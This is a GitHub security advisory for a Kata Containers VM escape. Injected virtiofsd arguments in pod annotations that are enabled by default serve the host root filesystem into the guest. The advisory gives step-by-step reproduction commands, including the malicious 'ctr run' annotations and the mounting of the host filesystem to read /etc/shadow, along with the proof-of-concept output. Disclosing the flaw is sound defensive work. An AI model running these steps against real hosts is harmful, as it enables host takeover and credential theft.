Skip to content

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

Moderate severity GitHub Reviewed Published May 20, 2026 in kata-containers/kata-containers

Package

gomod github.com/kata-containers/kata-containers (Go)

Affected versions

< 0.0.0-20260519062212-ffa59ce3aa78

Patched versions

0.0.0-20260519062212-ffa59ce3aa78

Description

Summary

Kata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the io.katacontainers.config.hypervisor.virtio_fs_extra_args pod annotation. By injecting -o source=/ along with --no-announce-submounts and --sandbox=none, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the kernel_params annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow.

Details

The default Kata configuration at configuration.toml line 1 contains:

enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params", "kernel_verity_params"]

Both virtio_fs_extra_args and kernel_params are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered.

In utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments:

if value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok {
    var parsedValue []string
    err := json.Unmarshal([]byte(value), &parsedValue)
    // ...
    sbConfig.HypervisorConfig.VirtioFSExtraArgs = append(
        sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...)
}

In virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with --shared-dir=<kata_managed_path> first, then appends the extra args:

args := []string{
    "--syslog",
    "--cache=" + v.cache,
    "--shared-dir=" + v.sourcePath,
    fmt.Sprintf("--fd=%v", FdSocketNumber),
}
if len(v.extraArgs) != 0 {
    args = append(args, v.extraArgs...)
}

The virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option -o source=PATH that overrides the --shared-dir value. This is processed after clap argument parsing, in the parse_compat() function at main.rs:462:

["source", value] => opt.shared_dir = Some(value.to_string()),

Because -o source=/ is appended after --shared-dir=<kata_path>, it overrides the shared directory to /. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device.

Additionally, virtiofsd's --announce-submounts flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is /, this produces automounts that shadow the root directory listing. Injecting --no-announce-submounts disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount.

The kernel_params annotation is used to inject agent.debug_console agent.debug_console_vport=1026 into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly.

Rootfs bridge (PoC artifact, not a real constraint)

When virtiofsd uses -o source=/ to serve the host root, the Kata agent looks for the container rootfs at /<container-id>/rootfs relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr.

In a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself.

Impact

An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can:

  • Read any file on the host, including /etc/shadow, SSH private keys, and service credentials
  • Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement
  • Access other containers' data through the host filesystem
  • Compromise the Kubernetes control plane if it runs on the same host

Steps to reproduce

Tested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball.

  1. Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations.

  2. Pull a container image:

ctr image pull docker.io/library/alpine:latest
  1. Run the PoC script below, or follow the manual steps:

Manual steps:

a. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name):

SB_ID="poc-exploit"
mkdir -p /$SB_ID/rootfs

# Extract alpine rootfs from OCI image
mkdir -p /tmp/oci-extract
ctr image export /tmp/oci.tar docker.io/library/alpine:latest
tar xf /tmp/oci.tar -C /tmp/oci-extract
IDX=$(jq -r '.manifests[0].digest' /tmp/oci-extract/index.json | sed 's/sha256://')
MFT=$(jq -r '.manifests[] | select(.platform.architecture=="amd64") | .digest' \
    "/tmp/oci-extract/blobs/sha256/$IDX" | head -1 | sed 's/sha256://')
LYR=$(jq -r '.layers[0].digest' "/tmp/oci-extract/blobs/sha256/$MFT" | sed 's/sha256://')
tar xzf "/tmp/oci-extract/blobs/sha256/$LYR" -C /$SB_ID/rootfs

rm -rf /tmp/oci-extract /tmp/oci.tar

b. Create a marker file on the host to prove access:

echo "HOST_ESCAPE_PROOF_$(date)" > /root/.poc-marker

c. Start the container with the malicious annotations:

ctr run \
  --runtime io.containerd.kata.v2 \
  --annotation 'io.katacontainers.config.hypervisor.virtio_fs_extra_args=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' \
  --annotation 'io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026' \
  docker.io/library/alpine:latest $SB_ID \
  sleep 3600 &

Wait 20-30 seconds for the VM to start. Verify with ctr task ls.

d. Enter the VM through the debug console:

/opt/kata/bin/kata-runtime exec $SB_ID

e. Inside the VM, mount the host filesystem and read host files:

mkdir -p /tmp/hostfs
mount -t virtiofs kataShared /tmp/hostfs
cat /tmp/hostfs/etc/hostname
cat /tmp/hostfs/root/.poc-marker
head -3 /tmp/hostfs/etc/shadow
cat /tmp/hostfs/etc/os-release
ls /tmp/hostfs/opt/kata/bin/

f. Observe that /etc/hostname returns the host's hostname (not "localhost"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host's password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host.

  1. Clean up:
ctr task kill $SB_ID --signal SIGKILL
ctr container rm $SB_ID
umount /$SB_ID/rootfs
rm -rf /$SB_ID

Proof of concept output

Below is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux.

root@7a7325d5d804:/# mkdir -p /tmp/h && mount -t virtiofs kataShared /tmp/h
root@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l)
DIRCOUNT:37
root@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname)
HOSTNAME:kata-poc
root@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release)
OSREL:PRETTY_NAME="Ubuntu 24.04.3 LTS"
root@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker
HOST_NS2_1776058192
root@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow)
SHADOW:root:*:17478:0:99999:7:::
root@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2>/dev/null | head -3)
BOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic
root@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2>/dev/null | head -3)
KATA:cloud-hypervisor containerd-shim-kata-v2 firecracker

The host's real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container's own filesystem.

References

Published to the GitHub Advisory Database May 26, 2026
Reviewed May 26, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P

EPSS score

Weaknesses

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. Learn more on MITRE.

CVE ID

CVE-2026-44210

GHSA ID

GHSA-rr59-xxvx-96qr

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.